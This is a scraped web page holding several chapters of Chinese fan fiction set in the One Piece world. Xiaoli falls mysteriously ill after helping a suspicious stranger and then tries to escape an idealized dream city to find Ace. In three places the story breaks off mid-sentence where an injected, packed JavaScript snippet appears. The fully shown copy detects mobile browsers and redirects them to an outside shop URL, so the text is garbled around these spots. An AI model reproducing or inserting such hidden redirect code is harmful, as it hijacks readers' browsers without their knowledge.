她一点也不着急。湛蓝的猫瞳安静地注视着街上来往稀疏的行人,耳朵偶尔轻轻转动,捕捉着市井的声响。内心有一种奇异的笃定,像深深扎进土壤的根须——艾斯一定能找到她。无论这个小镇的街道多么曲折,无论他打听到什么消息、耽搁多久,最终,他总会出现在她的视线里,带着他那标志性的、仿佛能驱散一切阴霾的灿烂笑容,大声喊着她的名字。这几乎成了他们之间无需言明、却心照不宣的默契游戏,一种建立在无数次分别与重聚之上的、坚实的信任。 “噗通”一声闷响,沉闷而突兀的打破了午后街角的慵懒宁静。 小狸惊得抬起头,只见刚才那匹驮着病痨鬼男人的、半死不活的老马,竟直挺挺地倒在了她面前不到三步远的地方!马身砸起一小片尘土,四条瘦骨伶仃的腿徒劳地蹬了几下,便不再动弹,只有腹部微弱地起伏着。而马背上那个裹着皮毛大衣的男人,也随之发出一声极其夸张、拖长了调子的痛呼:“哎——哟——!” 整个人如同断了线的木偶,从马背上滚落,“瘫软”在地,蜷缩着身体,发出哼哼唧唧、有气无力的呻吟,双手在地上胡乱摸索着,似乎怎么也无法凭借自己的力量爬起来。 小狸全身的神经瞬间绷紧!她那近乎本能的直觉正在脑海中尖锐地鸣响警报。异常敏锐的嗅觉,也捕捉到了空气中更加清晰的那股气味——绝不是什么重伤员该有的新鲜血气或虚弱的病气,而是一种更加复杂、更加隐秘的、混合了多种干燥草药的植物气息 她几乎是下意识地,从长椅上站了起来,向后退了一小步,脚跟抵住了椅腿。蔚蓝色的瞳孔收缩成警惕的竖线,紧紧盯着地上那个看似痛苦不堪的男人,全身的肌肉都处于一种蓄势待发的状态,尾巴也因为紧张而微微炸毛,僵硬地垂在身后。 然而,那个男人却仿佛对她的警惕视若无睹。他做作地、极其缓慢地抬起一只苍白瘦削、指甲缝里似乎还残留着某种可疑暗渍的手,颤巍巍地,却异常精准地,指向了小狸所在的方向。他半睁着的眼睛里没什么光彩,声音有气无力,像是从漏风的胸腔里挤出来的,却又清晰得能让周围几步内的人都听见: “对……对对,没错……就是你,好心的小姑娘……” 他喘了口气,继续用那种令人不适的虚弱语调说道,“帮大叔一把……大叔实在……没力气了,这老伙计也……不中用了……扶我起来就好……拜托了……” 这时,街角零星的几个路人都被这突如其来的动静吸引了注意力,目光齐刷刷地投了过来,最终聚焦在僵立原地、一脸警惕的小狸身上。 那些目光里,有好奇,有探究,或许也有一丝无声的压力。 小狸顿时感到一阵无措和窘迫。她讨厌成为视线焦点,更讨厌被架在道德边缘。这个男人不对劲,气息、举止、一切都很可疑。 理智在尖叫着远离,但她实在不想在公共场合引发事端,那一点点或许是自己多心了、对方真的只是突发疾病的侥幸,最终还是占据了上风。 她抿了抿嘴唇,快速地上前一步,伸出自己的手,抓住了男人那只抬起的手臂试图扶起他“你还好吧?” 男人比她想象的还要沉,反握住了她的手,明明瘦弱不堪的身体,却将身体素质明显提升的她坠的沉了一下,几乎也要把她拖到地上 小狸吃了一惊,下意识的向后退了一步压低重心,费了好大力才将他拉起来,男人也颤颤巍巍的站起来,拍了拍那匹老马的头,那马四肢抽动了一下,也晃晃悠悠的站起来 “多谢了啊,小姑娘……” 话是这么说这,可他甚至没再多看小狸一眼,仿佛刚才被帮助的人根本不是他。他慢吞吞地、以一种极其滑稽别扭的姿势,手脚并用的爬上那匹同样颤巍巍的瘦马,整个过程缓慢、笨拙,却又透着一股令人毛骨悚然的漠然。他重新坐稳,驱使着老马,再次以那种晃晃悠悠、随时会散架的节奏,朝着来时的街角慢慢晃去。身影即将消失在转角时,一阵若有若无的、带着诡异韵律的碎碎念,随风飘了过来: “幸运么……不幸么……或者只是一个美梦。这就是命运啊,命运……呵呵……” 那声音低沉,模糊,却像带着钩子,钻进耳朵里,让人莫名地心底发寒。 小狸站在原地,直到那令人不适的一人一马彻底消失,才缓缓松懈了紧绷的身体。她低头看了看自己的手,那里不知为何残留着令人不适的冰凉触感,男人皮肤冰冷的温度似乎还盘踞在她的掌心,她用力在裙摆上蹭了蹭,心里那点不安的阴影,却并未随着男人的离开而消散,反而丝丝缕缕地弥漫开来。 没过多久,熟悉的、带着急切气息的脚步声从街口传来。艾斯高大的身影出现在视线里,他目光一扫,立刻就锁定了长椅旁的小狸。然而,几乎是同时,他就察觉到了不对劲—— 小狸没有像往常那样,在他出现时立刻扬起笑脸,雀跃地跑过来,或者至少会用亮晶晶的眼睛望向他。她依旧坐在长椅上,但姿势有些僵硬,低着头,双手捧着那杯一口未动的果汁 “怎么了小狸?”艾斯心头一紧,快步赶到她身边,蹲下身,语气里带着不容错辨的关切和一丝不易察觉的紧张。他伸手,想习惯性地揉揉她的头发,却在半空中顿住,改为轻轻碰了碰她的肩膀。 小狸闻声,有些迟缓地抬起头。 就在她抬头的瞬间,艾斯的心猛地往下一沉! 小狸的眼神不再是平时那般清澈灵动,而是有些迷离涣散,焦距似乎都无法稳稳地对准他。 她张了张嘴,似乎想像往常一样,笑着喊一声“艾斯”,或者把手里的饮料递给他。可嘴唇翕动了几下,喉咙里只发出几声极其嘶哑、模糊不清的气音,像是声带被粗糙的砂纸狠狠磨过,干涩灼痛,竟连一个清晰的音节都吐不出来。 她的视线开始不受控制地模糊、旋转,手中的玻璃杯再也握不住,手指一松—— “啪嚓!” 杯子掉在地上,橙黄的果汁飞溅开来,在石板地上晕开一大片湿痕。 紧接着,小狸的身体如同被抽走了所有骨头,软软地向前一栽! “小狸!!!” 艾斯的心跳仿佛在那一刹那停止了,他眼疾手快,在少女彻底摔倒在地之前,一把将栽倒的柔软身体紧紧接入怀中! 触手所及,是一片滚烫! 她的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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等待接通的短暂几秒,漫长得如同几个世纪。终于,电话虫的眼睛变成了不死鸟的形态,马尔科那带着独特慵懒尾音的声音传了过来:“怎么了,艾斯?yoi。” “马尔科!出事了!”艾斯的声音又快又急,几乎有些语无伦次,“小狸突然发高烧,之后温度下来了后就一直昏迷不醒,我怎么喊都没反应!镇上的庸医说是感冒,但我觉得不对劲!她一直醒不过来……马尔科……怎么办……”他的声音有些颤抖,惶恐的抓着小狸的手,恨不得自己替她承受那些痛苦 电话那头沉默了片刻,马尔科的声音变得严肃起来:“听你的描述,更像是某种急性的病毒感染,或者……毒素引发的奇怪病症。她的体质比较特殊,对某些刺激的反应可能会比常人更剧烈。不过,小猫现在的体质足够强韧,应该能撑过去。既然高热已经退下去那现在的关键是保暖和补充水分。能喂进去水的话,尽量喂一些温水或淡盐水。” 马尔科清晰冷静的指示稍微稳住了艾斯慌乱的心神。他连连应下,悬着的心才稍微落下了一点点——至少,马尔科没有说出更糟糕的判断。 结束通话,艾斯坐在床边,借着床头柜上那盏油灯昏黄摇曳的光线,目光近乎贪婪地、一遍遍描摹着她安静的睡颜。 长长的睫毛被汗水濡湿,几缕黏在下眼睑,在眼下投出一小片脆弱的阴影。因为高热而异常红艳的脸颊,此刻随着汗水的渗出,褪去了一些艳色,显出一种玉石般的、脆弱的苍白。汗湿的黑色微卷发丝黏在光洁的额角和泛红的脸颊边,看上去可怜兮兮。 她紧紧闭着眼睛,似乎只是睡着了,表情温和,甚至带着一丝宁静,如果不是迟迟无法醒来,艾斯甚至以为她只是做了一个甜甜的梦 心疼和后怕,如同退潮后又再次袭来的海浪,一波波冲击着艾斯的心脏。抓着小狸的手不自觉地收得更紧,却又在下一刻立刻放松,生怕弄疼了她。 这绝不是普通的病,这一切太过突然、太过蹊跷。 是算计!是那个阴险的、躲在暗处的家伙!马歇尔.蒂奇!他绝对就在附近,这是他的手笔!用这种下作的手段,是为了警告?还是为了激怒他,消耗他的精力? 艾斯的眼神变得冰冷锐利,搂着小狸的手臂却更加轻柔。他低下头,嘴唇擦过她发烫的耳廓,用一种近乎发誓般的低沉声音喃喃道:“……我不会放过他们的。绝不会。” 60. 锈带.上 晨光透过轻纱窗帘,将鹅黄色的床单晒得暖融融的。小狸睁开眼,发现自己不知何时已经睡到了小床的正中央,枕头和那只毛茸茸的兔子抱枕都被踢到了地上。窗外,是中心城特有的、一丝不苟的街景,棱角分明的银白色建筑反射着晨光,几架流线型的飞行器如同静默的游鱼,滑过湛蓝得没有一丝杂质的天空。一切都安静、有序、完美。 “小狸,已经七点了,该起床了哦。” 门外传来敲门声,一个略显沙哑、却异常温和的声音响起。是老K。 ”再五分钟……”她把脸埋进残留着阳光气息的被子里,含糊地哼哼,像只慵懒的猫般打了个滚,又睡了过去。 早餐的香气最终把她从床上勾了起来。热腾腾的烤吐司边缘金黄焦脆,煎蛋的蛋黄圆润饱满。老K从厨房走出来,手里拿着杯温好的牛奶,放在她面前,然后在她对面坐下。他穿着熨帖的居家服,身上带着皂角的清爽味道。 “吃饭的时候不要上网,”他敲了敲桌子,目光扫过小狸耳朵上那副小巧的全息眼镜,“一会还要去上学呢,快点吃。” 小狸吐了下舌头,顺从地把眼镜摘下来,挂在领口。她叉起煎蛋,大大地咬了一口,蛋液的醇香和黑胡椒的微辛在口中化开,她满足地眯起眼,抽空冲老K比了个大拇指,口齿不清地嘟囔:“好吃!” 老K看着她狼吞虎咽的样子,金边眼镜后的眼神满是无奈,还带着一丝难以察觉的、近乎宠溺的纵容。“也没人和你抢,慢点吃,仔细噎着。” “你让我快点吃的嘛。”小狸咽下食物,狡黠地眨眨眼,又灌了一大口牛奶。 “别贫嘴了。”老K摇摇头,嘴角却微微上扬,“一会上学真要迟到了。” 他伸手递过早就收拾好的书包,书包是时下流行的款式,轻便又时尚。“路上小心,注意看车。” “知道啦——”小狸拖着长音应道,背起书包,像只小鸟一样轻盈地冲出门。 最好的朋友兼同班同学星星已经等在隔壁门口。短发少女笑容明媚得像今天的阳光,一见她就亲昵地搂住她的肩膀。“小狸!早上好!” “早上好!星星。” 上学路上,两个少女的闲聊琐碎而跳跃。中心城的学校上课时间很人性化,她们并不着急,踩着平整光洁的人行道,享受着清晨舒适的微风。 “小狸啊,你的名字真可爱呀,”星星晃着她的手,“上次文学课老师不是说了吗?‘狸’是古语里对猫的雅称呢!给你起这个名字的K叔对你真好,真有文化。不像我妈妈,‘星星’,听起来跟‘猩猩’就差一个字嘛,一点都不可爱!”她佯装生气地鼓起脸。 小狸被逗笑了,轻轻撞了一下她的肩膀:“阿姨那是想说你像天上的星星一样闪亮嘛,独一无二。” 星星还是噘着嘴,但注意力很快就被转移了,眼睛倏地亮起来,凑近小狸,压低声音带着兴奋:“哎,小狸!你昨天看星网了没?那个超级影帝莱昂纳多·克劳德的新电影《星海幻旅》下周五首映!我可是求了我妈妈好久,她才答应托关系帮我搞到首映会的邀请函!一起去嘛!我让她多要一张!” “电影啊……”小狸歪了歪头,兴趣缺缺,“我倒是没什么特别的兴趣……那天我答应老K了,要一起去他的社区诊所帮忙。那天是每月一次的免费义诊,他说最近换季,病人多,一个人忙不过来。”她抱歉地笑笑。然而,在说出“免费”这两个字的瞬间,心底也掠过一丝说不清道不明的违和感,仿佛这个词汇根本不应该和老K放在一起谈论?但这感觉稍纵即逝,快得让她抓不住,便也没有放在心上。 “真好啊,”星星闻言,脸上露出羡慕的神色,“你和你爸爸感情真好。K叔长得也很帅,又稳重,是我们这片街区有名的好好先生呢。” 小狸张了张嘴,几乎是条件反射般地轻声打断:“星星,老K他……不是我爸爸。” 叫做星星的少女似乎对她的这个说法早已习惯,并不气恼,反而用肩膀轻轻撞了撞她,语气带着过来人般的劝慰:“小狸呀,我们都知道你是K叔从阳光福利院领养回来的。但是你看,他这些年一直对你这么好,供你读书,给你这么好的生活,大家都看在眼里。你总是这么倔,不肯改口,K叔心里说不定会伤心的……” 小狸把视线移开,望向街道对面玻璃橱窗里反射的、有些失真的自己和星星的影子。心底有个微弱的声音下意识地想要反驳:不是这样的,老K他才不是那么……完美无缺的好人。他应该更……更粗鲁,更不耐烦,身上总是沾着洗不掉的机油味和烟味…… 但这个念头刚一冒头,就被眼前牢固的现实感和过往温馨的记忆迅速覆盖、驳斥。不对,老K一直是个好人啊,社区里谁不说他尊老爱幼、乐于助人、慷慨大方?他甚至在众多孩子中,选择了无父无母、性格还有些孤僻的自己,给了她一个家。那,为什么自己心里会存有这样莫名的“偏见”呢? 她理不清这矛盾的来源,只好配合地笑了笑,熟练地用一句玩笑话带过这个话题:“好啦好啦,下次一定!下次他生日,我考虑考虑!” 日子就在这样平淡而温柔的节奏中,一天天流淌。上学,和同龄的女孩们讨论并不算太难的最新课程,分享从中心城高级甜品店买来的、造型可爱的小点心;放学后,偶尔会去那些橱窗永远明亮耀眼、播放着轻柔音乐的商店街逛逛,买一些没什么实际用处,但设计精巧、让人看了就心情愉悦的小饰品。 放学回到家,老K多半已经在了。晚饭有时是他自己尝试烹饪的、味道虽然普通但诚意十足的菜肴;有时则是从社区里那家以干净卫生著称的餐馆买回来的搭配好的营养便当。太阳下山后,她可以泡一个放了香氛浴球的热水澡,洗去一天的疲惫,然后换上柔软的睡衣,舒舒服服地陷进自己的小床里,戴上全息眼镜,漫无目的地浏览星网,看看那些距离她生活很远的明星八卦,或者最新一季的时尚风向预测。一切都是那么安稳、舒适、令人放松。 可是,为什么心里某个地方,总是空落落的,仿佛破了一个小小的洞,微凉的风无声地穿堂而过? 这完美的生活就像一幅悬挂在美术馆最显眼位置的静物画,每一处色彩都经过精心调配,饱满鲜艳;构图和谐平衡,无可挑剔。然而,看久了,却会觉得它缺少了一抹最关键的颜色——一抹能瞬间点燃画面、赋予其灵魂的、最鲜活、最灼热、最不受拘束的亮色。 “好像……缺了点什么。” 两个人午饭时偷偷溜进空闲的活动室,用偷偷带来的小型便携燃气炉涮着火锅,小狸盯着那簇稳定燃烧的蓝色火苗,无意识地嘀咕出声。锅里的汤底咕嘟咕嘟冒着泡,香气四溢。 “怎么了?”星星正忙着从翻滚的汤里捞一片肥牛卷,闻言疑惑地看向她,见她只是盯着火苗出神,不明所以地耸耸肩,“缺什么?麻酱?还是盐?啊!肉的话你就别想了!说好了这片是我的,你可不能反悔!”她眼疾手快地把肉夹到自己碗里,夸张地护住。 被她这么一打岔,小狸那点飘忽的思绪立刻散了,好胜心被挑了起来:“我可没答应过!谁抢到是谁的!”说着就伸出筷子去夺。 “喂!你耍赖!” “明明是你先霸占的!” 少女们嬉笑着,筷子在小小的锅上方“交战”,发出清脆的碰撞声。那片可怜的肥牛卷在争夺中滑脱,“噗嗤”一声,不偏不倚,掉进了炉灶口那簇蓝色的火焰里。 “啊!”星星惋惜地抽了口气,“可惜了!我的肉……啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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去医务室的路上,星星还在后怕地数落她:“你再这么下去,整天魂不守舍的,脑子里尽想些奇怪的东西,要是真变成‘锈带’里那群与世隔绝的机械疯子和神经病了,我到时候可真会装作不认识你的!” 锈带!? 这个词像一把生锈却沉重的钥匙,猛地撞开了她脑海深处某扇紧闭的门!陌生,却又带着一种诡异的、针扎般的熟悉感,瞬间攫住了她的心脏。 “星星!”她猛地停住脚步,反手抓住星星的手臂,力道不自觉地有些大,“锈带……锈带是什么?你说清楚!” 星星被她激烈的反应吓了一跳,迷惑地看着她,似乎觉得她的问题很奇怪:“就是……锈带啊。城外西边,以前最大的那个废弃工业区和非法聚居地,脏乱差的代名词。不是好几年前就被市政厅全面清理拆除,说要改建成新的生态公园了吗?不过听说直到现在,废墟深处还躲着一些不肯离开的、脑子不太正常的家伙,整天和废弃机械打交道,危险得很。你可别因为好奇动什么歪心思,那里不是我们该去的地方。” “……嘛,怎么会呢。”小狸松开手,努力让自己的表情恢复正常,甚至挤出一个略显僵硬的笑,“我多惜命啊。我还要和星星一起努力,将来出人头地呢。” “就是嘛!”星星松了口气,重新挽住她的胳膊,脸上又绽开憧憬的笑容,“将来啊,我要是当上了大明星,就让你当我的首席助理!到时候咱们一起吃香的喝辣的,天天都跟过节一样,多快活!” 小狸配合地笑着,点了点头,心脏却在胸腔里无声地收紧,沉甸甸地往下坠。 锈带…… 这个名字,连同星星描述中透露出的“废弃”、“机械”、“危险”、“与世隔绝”的零星信息,如同投入平静湖面的巨石,在她心中激起了滔天的波澜,再也无法平息。一种混合着恐惧、好奇和强烈归属感的冲动,在她心底疯狂滋长。 不行。她暗自握紧了那支受伤的手,疼痛让她更加清醒。我一定……得去看看。 61. 锈带.中 “锈带……” 这个词像一颗生锈的钉子,楔进了小狸看似平滑的思绪里。医务室的消毒水味有些刺鼻,护士为她处理烫伤的手指,清凉的药膏暂时压下了刺痛,却压不住心底那股莫名翻腾的焦躁。 “好啦,下次可别这么傻了。”星星陪她走出来,还在念叨,“一块肉而已,看把你馋的。下周我请你去新开的那家烤肉店,随便吃,算补偿你这‘英勇负伤’的手指,好吧?” “嗯,好。”小狸心不在焉地应着,目光却飘向城市围墙之外,仿佛能穿透那些光洁的建筑,看到城市边缘那片被所有人讳莫如深的阴影。锈带。一个被“处理”掉的垃圾场,一群“疯子”的聚集地。为什么这个词会让她心跳加速? 下午的课她几乎没听进去。历史老师在讲台上讲述着人类文明在“大净化”后的再次伟大,中心城是如何在废墟上建立的灯塔。一切都合乎逻辑,充满希望。可小狸看着课本上那些整洁明亮的城市图片,脑子里挥之不去的,却是铁锈的腥气、机油混合烟草的古怪味道、还有老旧轴承转动时“吱嘎——吱嘎——”的、令人牙酸的声响。 这感觉真实得可怕,甚至盖过了指尖伤口的灼痛。 “放学后,我要去趟图书馆查点资料。”她对星星说,“你先回去吧。” “查资料?太阳打西边出来啦?”星星夸张地瞪大眼,随即又担心地看了看她的手,“你的手行吗?要不要我陪你?” “没事,一点小伤。”小狸晃了晃包扎好的手指,“就是……突然对历史有点兴趣了。” 星星和她关系好得不得了,几乎做什么都在一起,也只有图书馆这种地方能让笨蛋美人望而却步,给她一些独处的时间。她独自走向图书馆,脚步却不由自主地偏离了方向。穿过整洁的街区,越靠近城市边缘,行人越少,建筑也越发低矮、陈旧。空气中那股属于中心城的、人工净化后的“清新”味道渐渐淡去,取而代之的是一种……灰尘和金属混合的气息。 她在一个老旧的公共信息终端前停下。屏幕有些破损,但还能运作。她迟疑了一下,在搜索栏输入了“锈带”。 跳出的结果大多是官方通告和旧闻简报,用词冰冷而统一:“已规划改造区域”、“原低效工业区迁移”、“为保障市民安全与环境整洁,进行全面清理与生态修复……” 没有照片,没有细节,只有干巴巴的陈述。 小狸关掉终端,心里的空洞却越来越大。她抬头望向城市边缘那道高耸的、将中心城与外界隔绝开的巨大防护墙。夕阳给它镀上一层冰冷的金属光泽。 墙的那边,有什么? 一个声音在心底叫嚣:去看,去看看! 另一个声音则属于“常识”:别去,危险,那里什么都没有了,只有疯子。 手指上的伤处传来一阵细微的刺痛。她低头看了看,包扎的纱布洁白干净。可恍惚间,她仿佛看到自己这双手,正在昏暗的光线下,灵活地穿针引线,缝合的不是布料,而是……翻卷的、带着血污的皮肉。鼻尖似乎又闻到了浓重的血腥味和刺鼻的消毒水。 她猛地甩了甩头,幻象消失了。 回到家时,天色已暗。老K正在客厅看新闻,听到开门声,转过头,金边眼镜后的目光落在她包扎的手指上,眉头立刻蹙起。 “手怎么了?” “不小心……被活动室的暖气片烫了一下。”小狸下意识地撒了谎,将“火焰”替换成更“合理”的暖气管。她不敢看老K的眼睛,那种温和的关切此刻让她莫名有些心虚和烦躁。 “怎么这么不小心。”老K起身,去储物柜拿来一个小医疗箱,“过来,我看看。学校的医务室总是草草了事。” 小狸乖乖走过去坐下。老K拆开纱布,动作熟练而轻柔。他的手指温热干燥,触碰到她的皮肤时,小狸却微微一颤。 “疼?”老K问。 “不……不是。”小狸低下头。不应该是这样的……为什么下意识会觉得,老K,应该会狠狠斥责自己才对…… 老K重新为她上了药,换上干净的纱布。过程中,他一句话也没说,只是专注地看着她的伤口。小狸却觉得这沉默比任何询问都更难熬。 “老K……”她突然开口,声音有些干涩,“你听说过……‘锈带’吗?” 缠绕纱布的手指几不可察地停顿了半秒。 “怎么突然问这个?”老K的声音听不出波澜,他打好最后一个结,开始收拾药箱,“都是过去的事了,一个脏乱差的地方,早就清理干净了。现在的孩子都不该知道这些。” “可是……我好像有点印象。”小狸抬起头,紧紧盯着他的脸,“总觉得……那里好像有什么。” 老K将药箱放回原处,转过身,背对着她。客厅柔和的灯光将他的影子拉长,投在地板上。 “你能有什么印象。”他的语气平淡,甚至面带微笑,敲了敲她的脑袋,“你和我回家之前一直生活在福利院里,瘦瘦小小的一只,连中心城都没出过。别整天想些有的没的,少逛点星网,多看看书,我还等着你将来出师了我好退休呢。不许再碰明火,也不许去那些乱七八糟的地方,听到没有?” “嗯”小狸闷闷地应了一声“而且老K也不老嘛,离退休早着呢。” 嘴上答应了,但那个念头,像一颗埋在心底的种子,遇到了雨水,开始疯狂地、不受控制地生根发芽。 接下来的几天,小狸表现得异常“乖巧”。按时上学放学,认真完成作业,不再提任何关于锈带的问题。只是她的话变少了,经常一个人对着窗外,或者对着自己手指上渐渐愈合的伤疤发呆。星星约她出去逛街看电影,她也总是推脱。 老K一直对她很好,他们似乎有说不完的话,谈着学习、生活琐事、未来考取中心城医学院,继承他的诊所,成为一名受人尊敬的医生。他们畅想未来,却从未聊过过去,聊过老K在收养她之前是做什么的,聊过她的亲生父母,哪怕只是编造一个温馨的故事。这个家,干净、温暖、充满关爱,却也像一间没有窗户的房间,看不到来路。 她开始更仔细地观察老K。他温和,有耐心,社区里的老人都喜欢他。他的手很稳,做家务,处理她的小伤口,都井井有条。他像是所有人心中好好先生的完美样子,但,不是她心中,“老K”该有的样子 又一个普通的夜晚,小狸窝在床上刷星网,似乎再找到任何关于锈带的信息,一个声音从门口传来,他敲了敲门 “小狸?怎么还没睡?”得到应声后他才推开房门,语气带着恰到好处的关切。 “我……口渴,去喝口水,这就睡了。”小狸垂下眼,心脏在胸腔里狂跳。 “早点休息。”老K摸了摸她的头,动作依然轻柔,却带着一种令人怀念到近乎流泪的熟悉感,那温度,似乎属于另一个人。 那一夜,小狸失眠了。无数混乱的画面在脑海中冲撞:整洁的教室和昏暗的诊所,星星明媚的笑脸和……一张沾着血污、却眼神凶狠的男人的脸?老K温和的嘱咐和某个粗暴沙哑的“小混蛋”的骂声……最后,所有的画面都汇聚成一个身影——一个戴着橙色牛仔帽,脸上有雀斑,笑起来仿佛能驱散所有阴霾,身上总是散发着令人安心暖意的黑发青年。 艾斯。 这个名字如同惊雷,在她混沌的脑海中炸开。 没有理由,没有依据,但这两个音节带来的情感冲击是如此猛烈——是铺天盖地的思念,是揪心的担忧,是绝对的依赖,还有……无法言喻的甜蜜与酸楚。 她要找到他,就像他总是能找到她,眼泪毫无征兆地滚落。她想不起这个“艾斯”是谁,来自哪里,但他们之间一定有着比血脉更深的联结,她,一定要找到他。 第二天是周末。小狸起得很早,对正在准备早餐的老K说:“老K,我今天约了星星去城西新开的植物园玩,可能晚饭前回来。” 老K看了她一眼,点点头:“去吧,注意安全,带上通讯器,还有钱花么” 小狸胡乱点点头,背上书包走出家门。她没有去城西,而是朝着完全不同的方向——城市边缘的高墙走去。 越靠近,那股金属和尘土的气息就越浓。巨大的防护墙投下森冷的阴影,墙上偶尔有巡逻的飞行器掠过。这里人迹罕至,只有一些废弃的管道和旧建筑。 小狸沿着墙根寻找。官方入口把守严密,但她记得……在那些混乱的“记忆”碎片里,似乎有一条被称作“路”的缝隙。 她在一个巨大的、早已停止运转的废弃空气净化塔底部,找到了一堆坍塌的金属架构和水泥块。看起来毫无异常。但小狸蹲下身,伸手在一片锈蚀严重的金属板上摸索。她的手指似乎拥有自己的记忆,在某处凹凸不平的锈迹下,找到了一个几乎被锈死的卡榫。 用力一按,再一推。 “咔……嘎吱——” 一块看似厚重的、锈成一体的金属板,竟然向内滑开了一尺见方的缝隙!后面是黑暗的、散发着浓重铁锈味的通道。 这就是通往“锈带”的路。 她看着那个本应只出现在她幻想中的入口,心脏狂跳起来,混合着恐惧和难以言说的的兴奋。她回头望了一眼中心城那片被阳光照耀得闪闪发光的楼宇,那里有安稳的生活,有温和的“父亲”,有光明的未来。 可是,她非去不可,她的身体比理性更先做了决定,她深吸了一口那浑浊的、却让她感到无比“真实”的空气,毫不犹豫地,弯腰钻进了那片黑暗之中。 这条通路似乎永无尽头,耳中能听到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941788|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有自己脚步的回响,完全黑暗的环境让小狸浑身发冷,自己这么做真的对么? 不知为何,她开始有些犹豫了,她的脚步慢了下来,最后缓缓地停了下来,站在原地,自己,到底要去哪里? “我……到底在做什么?”她低声问自己,声音细弱,立刻被黑暗吸收。“为了一个闪过的名字?一些混乱的碎片?就抛下一切……跑到这种地方来?” 老K温和的脸、星星灿烂的笑容、教室里明亮的灯光……这些“美好”的画面在脑海中闪现。也许……回去才是对的?也许那真的只是一个荒唐的梦?手指上的伤疤还在隐隐作痛,提醒着她“常识”认定的真实。 黑暗中,一个身影缓缓出现,星星忽然从身后拍了拍她的肩膀 “小狸!你没事吧?” 毫无防备的接触像一道电流击穿了紧绷的神经!小狸全身的肌肉骤然绷紧,那不是思考后的反应,而是烙印在神经与骨骼里的、无数次训练中淬炼出的本能,大脑还一片空白,身体已经自动执行了一套流畅到令人心惊的制伏动作—— 她猛地拧腰转身,左手钳住了搭在她肩上的那只手腕,向下一压的同时,右脚迅捷地插向对方双脚之间,整个人的重心顺势前顶!“砰” 一声闷响,那个身影被她借着黑暗和巧劲,利落地反锁住手臂,脸朝下压制在了冰冷粗糙的地面上!整个过程不过呼吸之间,熟练得仿佛演练过千百遍。小狸自己都有些诧异,这绝不是一个在温室长大的中学女生应该会的东西 “痛痛痛痛!小狸你干嘛啊!!”被压制的女孩发出带着哭腔的痛呼,声音因为脸贴着地面而有些变形,但毫无疑问,是星星!“太过分了!我可是担心你,一路跟着你过来的哎!快放手啦!” 小狸下意识的缩回手,歉意的看着星星龇牙咧嘴地揉着被扭痛的肩膀和手腕,脸上是混合着疼痛、委屈和不可思议的表情。“我……我吓了一跳……不是故意的……”她语无伦次地解释 “哼,下不为例啦!要是伤了大明星的脸,多少个你都不够赔的” 星星活动了下肩膀,然后抬起头,看着站在黑暗深处、表情惊疑不定的小狸,很自然地伸出了手。她的脸上重新挂起了小狸最熟悉的、明媚而温暖的笑容,那笑容在昏暗中仿佛自带柔光,带着一如既往的亲密和一点点诱哄的意味,声音也放得又软又柔: “好了,闹够了吧?我们回去。” “啊?……回哪去?”小狸听见自己的声音干涩地问道。 “啊——?”星星拖长了音调,露出那种“你傻了吗”的、带着娇憨的困惑表情,仿佛小狸问了一个世界上最愚蠢的问题,“当然是回家啊,笨蛋!”她往前走了半步,手又伸近了些,指尖几乎要碰到小狸的衣袖,“你不会要一直待在这个黑漆漆、脏兮兮的鬼地方吧!?” 星星站在那里,对她伸出手,脸上的表情带着温和的笑意,嗓音甚至带着一丝蛊惑的意味 “走吧,我们回家……” 她的语气那么理所当然,笑容那么真挚温暖,伸出的手代表着安全、友情和回归“正常”的邀请。这一切都完美得无可挑剔,符合小狸过去十几年认知里所有的“美好”。 然而,就在那只手即将触碰到她的前一刻,她退缩了 不对。 不是这里。 这不是我的家。 心底那个空洞里呼啸的冷风,瞬间变成了燎原的烈火,海风,暖阳,永不停歇的欢宴和无微不至关心的……还有,穿透所有阴霾的灿烂的笑容,那顶橙色的牛仔帽,那份毫无保留的温暖…… 我的家…… 星星依旧在微笑,手停在半空,等待着她的靠近,小狸却缓慢又坚定地,向后撤了一步。这一步,仿佛用尽了她所有的力气,也划开了一道无形的鸿沟。她抬起头,直视着星星那双在昏暗中依然明亮的眼睛,那里面的温柔和期盼,此刻看起来却像精心绘制的面具。 她的嘴唇轻轻颤动,然后,一个清晰、坚定、带着破釜沉舟般决绝力量的声音,从她胸腔深处迸发出来,击碎了通道里虚假的宁静,也仿佛击碎了她周身某种无形的枷锁。 头脑一片清明,自己似乎被暗算了,给了自己这样一个不愿醒来的美梦: “我已经有家了。” 她顿了顿,回忆着那艘巨大的鲸鱼船 “我的家在莫比迪克号!” 话音落下,通道里死一般的寂静。 而小狸,在喊出那个名字的瞬间,感觉一直笼罩在心头的那层厚重迷雾,被这道自己发出的声音,劈开了一道锐利的缝隙。一缕真正属于她的、带着海风咸涩与火焰温度的微光,透了进来。 她像是终于找到了方向,脸上全是安心又温柔的笑意 “我的家人,在等我!” 62. 锈带.下 星星的脸庞开始变得模糊,五官的边界软化、交融,那双总是盛满明媚笑意的眼睛,此刻却像两潭深不见底的、温柔的沼泽。 “这里不好么?” 她问,声音不再是熟悉的清脆,而是在无边的黑暗中空洞地回荡。 